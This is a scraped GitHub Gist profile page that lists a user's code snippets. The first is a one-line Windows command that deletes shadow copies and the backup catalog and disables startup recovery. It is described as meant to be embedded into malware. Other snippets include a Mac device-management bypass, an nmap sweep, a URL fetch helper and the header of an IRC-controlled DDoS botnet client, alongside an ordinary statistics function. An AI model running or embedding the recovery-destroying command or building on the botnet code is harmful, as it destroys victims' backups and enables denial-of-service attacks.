Skip to content

Instantly share code, notes, and snippets.

View augustgl's full-sized avatar
💭
hyperfocused

August augustgl

💭
hyperfocused
  • the trenches
View GitHub Profile
@augustgl
augustgl / command.txt
Created January 28, 2022 21:10
Delete shadow copies of volumes and disable startup repair on windows systems. Should be embedded into malware. Educational purposes only
cmd.exe /C vssadmin.exe delete shadows /all /quiet & wmic.exe shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
@augustgl
augustgl / binomdist.py
Created February 5, 2021 02:59
binomial distribution function in python
# 2/2/2021
# stats class
import math
def factorial(n):
fact = 1
for i in range(1, n+1):
fact = fact * i
#COMMANDS TO DISABLED DEP (REMOTE MANAGEMENT) ON A MACBOOK
#HARD DRIVE SHOULD HAVE PREVIOUSLY BEEN FORMATTED
#MOUNT HARD DRIVE BEFORE YOU DO THIS IN DISK UTILITY
#GO INTO TERMINAL (FIGURE IT OUT)
#TURN DEVICE INTEGRITY PROTECTION OFF
csrutil disable
RANGE=$1
PORT=$2
nmap $RANGE -p $PORT -v -n | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' > out.txt
int sockprintf(int sock, const char* words, ...) {
static char textBuffer[1024];
va_list args;
va_start(args, words);
vsprintf(textBuffer, words, args);
va_end(args);
return send(sock, textBuffer, strlen(textBuffer), NULL);
}
int get(char *szUrl, char *recv_data, DWORD recv_size) {
DWORD NumberOfBytesRead = 0;
RtlZeroMemory(recv_data, recv_size);
HINTERNET connect = InternetOpen("browser", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (connect) {
HINTERNET openAddr = InternetOpenUrl(connect, szUrl, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (openAddr) {
@augustgl
augustgl / syth.c
Created November 28, 2018 02:14
syth, botnet project I worked on wit some friends
/*******************************************************************************
* This is a IRC based distributed denial of service client. It connects to *
* the server specified below and accepts commands via the channel specified. *
* The syntax is: *
* !<nick> <command> *
* You send this message to the channel that is defined later in this code. *
* Where <nick> is the nickname of the client (which can include wildcards) *
* and the command is the command that should be sent. For example, if you *
* want to tell all the clients with the nickname starting with N, to send you *
* the help message, you type in the channel: *